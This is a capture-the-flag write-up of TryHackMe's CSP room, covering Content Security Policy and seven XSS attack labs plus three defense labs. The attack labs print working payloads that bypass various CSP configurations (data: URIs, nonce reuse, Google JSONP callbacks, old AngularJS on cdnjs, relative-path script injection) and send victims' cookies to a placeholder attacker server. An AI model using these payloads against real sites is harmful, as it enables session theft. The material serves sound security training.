CSP Lab Writeup — TryHackMe

The Dark Lord
10 min readNov 26, 2023

--

What is CSP?

CSP or content security policy are a set of policies which the web browser adheres to while loading content or executing scripts. The policies can be set at the granular type of content or on all content/scripts, and also supports integrity check on loaded content. It is an extra line of defense against XSS attacks, but should not be used as the sole defense, and the xss vulnerability should be patched as and when discovered.

Content Security Policy is a security mechanism to block attacker injected scripts. Content Security Policy disallows ALL inline javascript (and requiring you to make whitelists of external URLs that you load javascript from.) The easy way to remember this is that when the CSP header is specified, CSP acts as a whitelist. CSP may also be added to the page using a meta tag, instead of the response headers.

CSP is basically a sort of last line defense, when XSS manages to seep past the sanitization and other filters to prevent the attack from succeeding

CSP vs a RCE inducing XSS

The exercise

The room is a Series of 7 attack and 3 Defense Labs at https://tryhackme.com/room/csp preceded by conceptual questions. I would recommend jumping straight to the labs if you are aware of the CSP policy structure and the common directives. The conceptual quiz is very strict in terms of whitespaces in answers and can be somewhat frustrating to clear. This is a premium room, so it might be only available to people with a THM subscription.

For this Lab, it is important to have basic understanding of CSP policy structure and can be reviewed at https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP for examples and understanding basic CSP structure. It also provides a playground where you can try your own csp policies and attempt to bypass it.

Setting up the server

I setup a simple HTTP server using python which I have used in other challenges as well. Make sure you’re reachable from the machine you’re attacking(run the server on the vpn interface specifically to avoid exposing it to the internet)

The server code I used for reference is as follows:

import http.server as SimpleHTTPServer
import socketserver as SocketServer
import logging

PORT = 8087

class GetHandler(
SimpleHTTPServer.SimpleHTTPRequestHandler
):

def do_GET(self):
logging.error(self.headers)
SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)


Handler = GetHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)

httpd.serve_forever()

Change the IP from “” to the vpn interface IP if you don’t want the server to run on all interfaces. In addition to this you may setup a proxy or any suitable way to view the request response headers to understand the CSP policy (CSP may also be set by meta tags in HTML)

Attack Challenges

The attack challenges involve us to notice the CSP policy of the web page, and exploit the XSS vulnerability and bypass increasing difficulty of CSP policies.

Attack-1

The first lab is very straightforward and just aids in testing of our python server. There is no effective CSP in play here, and we can just exfiltrate the cookie using a simple payload. We get the flag when the admin account bot logs in and executes the persistent XSS

<script>fetch(`http://{SERVER-IP:PORT}/${document.cookie}`)</script>
Flag for Attack Challenge — 1

Attack-2

On inspecting the content security headers we notice the following:

Content-Security-Policy: default-src *; style-src 'self'; script-src data:

Data is a scheme source, and from the official documentation at here, we note that data should not be used for scripts as the attacker might inject a script there. This means that we cannot execute “inlinescripts” like what we did in the scenario before, we can’t even use a script that is loaded from the same domain or subdomain, BUT we can load a script SRC with the data URI scheme.

So we won’t be able to use the dataURI xss inline or in any other embedded element. The scheme-source is a filter which restricts the scheme to be data: , and so the payload structure would be like

<script src="data:;base64,ZmV0Y2goYGh0dHA6Ly9JUDpQT1JULyR7ZG9jdW1lbnQuY29va2llfWAp"></script>

So, we test this and we are able to execute the script, now we just need to encode our original payload and put it there. Even if browser blocks the CORS, since you control the target website, you can either allow cors, or still see the initial request made to your website in the logs. Once we deliver the payload we get the flag.

Flag for attack challenge 2

Attack-3

The content security headers for this challenge are:

default-src 'none'; img-src *; style-src 'self'; script-src 'unsafe-inline'

The script-src says ‘unsafe-inline’, and default-src is ‘none’ for any other element which hasn’t been specified explicitly. According to the documentation and ‘unsafe-inline’ allows us to specify javascript: URLs, inline event handlers, and inline '<style>' elements.

CSP by default disallows all inline scripts. Here we are allowing inline scripts, so we can execute inline scripts.

So we can execute the simple inline script, but it won’t allow us to fetch a remote resource

<script>alert(1)</script>

Attempt-1: Fail

Here, the fetch() fails (Used in earlier payloads) due to it being a resource and the default-src is NONE. The script src does not mention any

<script>fetch(`http://{SERVER:IP}/${document.cookie}`)</script>

For this challenge we have inline elements , but we need some element where we don’t run into the default-src. By reading the rule we know we can execute javascript, but the ‘fetch()’ will be blocked unless it matches a relaxed rule

So, we need to execute script within an image context. we could do onerror , but for my first attempt I decided to use javascript:alert(1)format, and used this payload

Attempt-2: Fail

<img src="javascript:fetch(`http://{SERVER:IP}/${document.cookie}`)"/>

But that doesn’t work as javascript isn’t allowed inside static resources. So I need to try something else.

Attempt-3: Success

One way to do it is to modify after the img tag has loaded and modify the source via the unsafe-inline script

<IMG id="abc" src=""/>
<script>document.getElementById('abc').src="http://{SERVER:IP}/" + document.cookie</script>
Flag for attack challenge 3

Attack-4

The content security headers for this challenge are

default-src 'none'; style-src * 'self'; script-src 'nonce-abcdef'

So the first thing to notice is that the nonce is repeating with subsequent requests, which can be determined by Burp Sequencer or repeater as constant and not changing. So we can execute script as long as we have the correct nonce. This nonce needs to be unique and non-repeating, which isn’t the case here. We can just execute the inline script with a nonce, but remember we cannot load other resource via FETCH, as that will get blocked by “default-src”. (PS: SOP can be overcome if we have the CORS preflight enabled on our server).

So one way is to use the window.open and bypass this restriction

<script nonce="abcdef">
window.open(`http://IP:PORT/${document.cookie}`)
</script>

The other way is to use the relaxation on the style-src. We could load a link rel stylesheet, and change the ‘src’ property to a GET request by the script after the element has finished loading.

<link id="changeme" src=""
<script nonce="abcdef">
document.getElementById("changeme").src='http://{server:Port}/'+document.cookie</script>
Flag for attack challenge 4

Attack-5

The content security headers for this challenge are

default-src 'none'; style-src 'self'; img-src *; script-src 'unsafe-eval' *.google.com

The thing that immediately catches our attention is that we can execute scripts no where inline on the page, but we can execute it as long as the script is loading from a google subdomain, and the images can load from anywhere. So our plan of attack vector is to execute a malicious script as long as it loads from a google.com subdomain, and call our web page using the img src with the document cookie.

Brief overview of JSONP

Here we will use a JSONP callback to exploit this. JSONP is a predecessor to CORS, and allowed a site’s scripts to communicate with other origins and works when loading a script element. The server or endpoint serving the JSONP returns a function that is agreed upon by the server and client. The client is the site/origin loading the JSONP endpoint, and the endpoint/server serving the JSONP is interpreted by the browser. This can lead to security complications, as not only it forces the client to trust the callback being sanitized (returned by the server), it also can compromise the security of server serving the JSONP endpoint (as attacker can cause cookies to be sent to JSONP endpoint and then attacker can process the callback and extract cookies).

Resources on JSONP

This is an excellent resource for identifying open JSONP endpoints

We will use one of the open JSONP endpoints. Note that these URLs won’t be processed in the browser URL only within a script context. Since JSONP are processed onload (src element), these are not restricted by SOP. One thing to note is that not every JSONP endpoint will allow you to pass any or every unsanitized character into the callback function.

For starters, we pick the JSONP endpoint

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

Attempt-1:Fail

This fails, on the likely cause that ‘$’ is not being allowed on that JSONP endpoint

<img id="abc" src="http://{SERVER:IP}/"/><script src="https://accounts.google.com/o/oauth2/revoke?callback=document.getElementById('abc').src+=${document.cookie}"></script>

Attempt-2: Success

Using the window.open, we can avoid tinkering with the img tag and achieve our objective

<script src="https://accounts.google.com/o/oauth2/revoke?callback=window.open(`http://{SERVER:IP}/${document.cookie}`)"></script>
Flag for attack challenge 5

Attack-6

The CSP headers for this challenge are:

default-src 'none'; img-src *; style-src 'self'; script-src 'unsafe-eval' cdnjs.cloudflare.com

The crux of this challenge is exploiting weak libraries hosted by the cdnjs.cloudlfare.com (or any CDN). CDNs such as these also store older versions of JS libraries which are prone to xss. We need to execute script in context of HTML and not exploit say (weak sanitization of inline html/prefilter etc). This can be done by exploiting Angular JS.

The exploit is in version 1.0.1 of angular JS and hosted by the whitelisted CDN cloudflare domain within an angular element

{{$on.curry.call().alert('XSS')}}

We need two of the files hosted by the cloudflare CDN for this to work.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>

We will use the exploit to change the src of the img attribute and get the cookie , like in earlier challenges.

Attempt-1: Fail

“$” not interpreted in context of Angular JS so the payload format we had used in earlier exploits does not work

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<img id="abc" src=""/>
<div ng-app ng-csp>
{{$on.curry.call().window.open(`http://{SERVER:IP}/${document.cookie}`)}}
</div>

Attempt-2: Success

We change the img tag using the vulnerable code and are able to make it work.

(Note: Sometimes successful payloads can fail to trigger the admin bot and the exploit, so restart the machine if the exploits aren’t working ). I noticed that for some reason the GET request gets concatenated in the img src

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<img id='abc' src="http://{SERVER:IP}/"/>
<div ng-app ng-csp>
{{$on.curry.call().eval("document.getElementById('abc').src+=document.cookie")}}
</div>
Flag for attack challenge 6 (repeats for some reason)

The CSP headers for this challenge are

default-src 'none'; media-src *; style-src 'self'; script-src 'self'

Here we need to exploit the media src. The script-src says self, so we can basically not execute inline scripts, just load it on the srcs from the origin of the website. From the documentation: “The HTTP Content-Security-Policy (CSP) media-src directive specifies valid sources for loading media using the <audio> and <video> element tags"

So we can load the media from any src, but our hands are pretty much tied with inline script injection. But we can load scripts from relative URLs like “/sourcefolder/scripts”.

So if we try the JSONP endpoint injection like we did in lab 5, we won’t succeed as the media type rejects “text/html” with the message-> HTTP “Content-Type” of “text/html” is not supported.

There is a way however to inject script into the source tag as long as it begins with a relative URL in this case. This forms our base payload.

<script src="/';alert(1);'"></script>

Now, to overcome the next obstacle, sending the cookie to our controlled server.

Attempt-1: Success

I tried using the window.open method to bypass the resource restriction we encounter when we use ‘fetch’

<script src="/';window.open('http://{SERVER:IP}/'+document.cookie);'"></script>

We can do it using the Audio tag as well

Attempt-2: Success

<script src="/';new Audio('http://{SERVER:IP}/'+document.cookie);'"></script>
Flag for challenge 7

With this the attack challenges come to a conclusion. I spent most time on Challenge 6, as it took me a while to figure out which of the vulnerable libraries hosted can be exploited.

Defense Challenges

In these set of challenges we have to create a set of rules which can allow for certain scripts to run while safely blocking others. To get a sense of what scripts we are supposed to run on the page, we need to check the source code. Next we devise a policy which can restrict everything but those scripts from running successfully on our page.

Defense-1

The first challenge just asks us to block all the scripts which do not belong to the origin. So I go simple, and just put all default-src to self and it works.

default-src 'self'

Defense-2

The second challenge we see that we have a style loading in from our origin, while an inline script loading with a constant nonce. So we need to whitelist that nonce while blocking everything else

default-src 'self'; script-src 'nonce-ae3b00'

Defense-3

We have to allow an inline script to run, which does not have a nonce, nor does it load from a whitelisted /trusted source. So I just generated the hash of the script using the report-uri tool. Generate the hash of the inline script we want to allow to run.

default-src 'none';style-src 'self'; script-src 'sha256-8gQ3l0jVGr5ZXaOeym+1jciekP8wsfNgpZImdHthDRo='

Supporting Resources

Payloads

CSP Resources

Conclusion

Hope this blog helped you in understanding the CSP room, and the general concept of ContentSecurityPolicy. If you do find better solutions, or find any mistakes , feel free to use the medium comment section. Happy hacking!

--

--

The Dark Lord

Computer & N/w security enthusiast, cryptography fanatic. Exploiting things in a dimly lit room.